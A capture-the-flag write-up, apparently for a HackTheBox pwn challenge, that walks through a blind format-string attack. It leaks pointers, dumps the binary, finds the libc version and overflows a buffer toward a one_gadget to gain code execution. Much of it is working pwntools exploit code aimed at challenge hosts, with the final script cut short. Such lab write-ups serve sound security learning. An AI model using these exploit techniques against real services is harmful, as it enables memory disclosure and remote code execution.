from pwn import * from struct import * #-*- coding: utf-8 -*-
context.log_level = 'error' context.update(arch = 'amd64', os = 'linux') ip, port = "138.68.136.191:32714".split(":")
def leak_pointers_from_stack(ip,port): '''Format string - leak pointers to get the libc/main address and architecture.''' for i in range(0,20): try: p = remote(ip,port) p.sendline("%{}$p".format(i).encode()) sleep(0.2) leak = p.recv() x =str(i) + " : " + leak.decode().split(">")[1].split("\x0a\x0a")[0] print(x) p.close() except: p.close() pass
leak_pointers_from_stack(ip,port)
As you can see below, on the target machine there is x64 architecture, ASLR being on, we can leak pointer to the main module at the 12th offset and pointer from libc at the 13th position:
In order to dump binary code, you have to first find any pointer from the main module and it was shown above.
Then you have to automatically grab this pointer for further exploitation using the below function which returns leaked main address — thus bypassing ASLR:
1 2 3 4 5 6 7 8 9
def leak_pointer_to_main(): '''12th pointer is one from the main()''' p.sendline(b"%12$p") sleep(1) p.recvuntil(b"> ") leak_all = p.recv() leak = leak_all.decode().split("\n")[0] print("Leaked main address: " + leak) return int(leak,16)
Then you have to subtract some bytes till you find ELF magic bytes.
This is an important step, because you should dump the binary from the ELF header segment.
The above function search_elf_magic_bytes is very simple:
It connects to the target binary at line 62 until it does not find ELF magic bytes while elf_found — 61st line.
It executes the function leak_pointer_to_main() at line 64 and adds addr variables to the returned by the function address of main.
This addr variable is returned by the search_elf_magic_bytes and it is being decremented by 0x100 until it finds ELF magic bytes, then it will return the calculated pointer to those bytes.
search_elf_magic_bytes handles exceptions, because during pointer deference using %s at line 42 there is a big chance of a Segmentation fault because not every location points to a valid string array.
There is a nice trick at line 45 if you are using Python 3 and working with bytes, to decode those bytes using “unicode_escape” . Usually, it will give better results than “ASCII” or “UTF-8” .
As you can see above, magic bytes were found and from this point, you can begin leaking bytes to re-create the binary on your machine.
3. Blind Format String — dumping the binary:
By leaking the pointer address to the ELF header you can actually dump the binary code and then decompile it using Ghidra/IDA/Binary ninja or any other RE tool that you like.
Voilà, now you can use this leaked file to decompile it using Binary Ninja.
1 2 3
┌──(root💀kali)-[~/hackthebox/challenge/pwn/echoland] └─# file echoland echoland: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=10fa1c1fe305a86450ba9c555e3932a3e5c2633a, for GNU/Linux 3.2.0, not stripped
4. Reverse the leaked binary:
Open the leaked file using any decompiler on leak.bin for example, Binary Ninja and click on _start symbol (Ghidra couldn’t analyze this so well like Binary Ninja and this is not an advertisement ^^):
As you can see this is a typical main function loader and data_12ef should be the pointer to the main() (if you can’t see the screen below, click p ):
When you double click on this address it will redirect you to another one, double click it again and you will see the main() :
Now a bit of Reverse Engineering to get the printf@GOT and then deference it to get the last 3 bytes of printf function address, so you can get the idea of what libc version is being used on the target system.
Above you can see main() — this is the corresponding code to the “Welcome message” where you chose between two options and leak data using format string vulnerability.
At the offset 0000133c and the offset 000013ad you can see sub_1100 call.
This is the call you are looking for — printf@PLT and you can guess it because 1. it prints data at 0000133c 2. decompiled code is vulnerable to format string at line 000013ad .
Above you can see an example of a vulnerable C code from OWASP, can you see the similarities? :)
If yes, go on and double click on sub_1100() to get into the stub.
As you can see now if you double-click on data_3fa8 you should be redirected to the GOT table…
… and indeed, here you are. 0003fa8 offset is the printf@GOT .
5. Get the target libc:
The below function will calculate the proper address of printf@plt during runtime, it is just adding printf@GOT offset to the leaked before the address of ELF magic bytes, which are start_main_addr :
Now use the last three bytes to query the libc database to check what version of libc is being used on the target system:
libc database search
As you can see above, there are 5 different libc to choose from I was sure, the target system was AMD so I picked 3rd one.
In the situation when you have more potentially valid libc to choose from, you can try to decompile more functions from dumped leak.bin and using %s leak their address during runtime, then you should get only one libc.
Click on this libc and download it. It will be used later to calculate the one_gadget address.
libc6_2.27-3ubuntu1.4_amd64.so
6. Spot the second vulnerability — buffer overflow:
The second vulnerability could be found for example by fuzzing the app.
Below is my quick and dirty Buffer overflow fuzzer which fuzz the first option with chars between 30–100 length:
1. Scream. 2. Run outside. > >> Your friend did not recognize you and ran the other way!
FUZZING: 64
1. Scream. 2. Run outside. > >> Your friend did not recognize you and ran the other way! /home/ctf/run_challenge.sh: line 2: 95 Segmentation fault ./echoland
======================== Buffer overflow found @: 64 ========================
7. Get the RCE — calculate one_gadget:
The last step to gain control over the target binary execution flow is to calculate the address of one_gadget.
The last thing to mention, 65–72 bytes are overflowing probably Frame Pointer and it has to be valid — it should be in the binary memory address space range.
73–80 bytes have to be overflowed with one_gadget — this is actually control over the instruction pointer.
Above, at line 139 I picked just a random low address (printf@GOT) but you could probably overflow this with the one_gadget.
from pwn import * from struct import * #-*- coding: utf-8 -*-
context.log_level = 'error' context.update(arch = 'amd64', os = 'linux') ip, port = "138.68.129.154:31898".split(":")
def leak_pointers_from_stack(ip,port): '''Format string - leak pointers to get the libc/main address and architecture.''' for i in range(0,20): try: p = remote(ip,port) p.sendline("%{}$p".format(i).encode()) sleep(1) leak = p.recv() x = str(i) + " : " + leak.decode().split(">")[1].split("\x0a\x0a")[0] print(x) p.close() except: p.close() pass
# leak_pointers_from_stack(ip,port) def leak_pointer_to_main(): '''12th pointer is one from the main()''' p.sendline(b"%12$p") sleep(1) p.recvuntil(b"> ") leak_all = p.recv() leak = leak_all.decode().split("\n")[0] print("Leaked main address: " + leak) return int(leak,16)
def search_elf_magic_bytes(leaked_main,addr): '''Search through the process memory to find ELF magic bytes: \x7fELF.''' while True: leak_part = b"%9$sEOF" + b"\x00" try: p.sendline(leak_part + p64(leaked_main + addr)) resp = p.recvuntil(b"1. Scream.\n2. Run outside.\n> ") leak = resp.split(b"EOF")[0] + b"\x00" print("Deferenced pointer: " + leak.decode("unicode_escape")) if b"\x7FELF"in leak: magic_bytes = leaked_main + addr print("MAGIC BYTES FOUND @: " + hex(magic_bytes)) return magic_bytes, False break addr -=0x100 except: addr -=0x100 p.close() return addr, True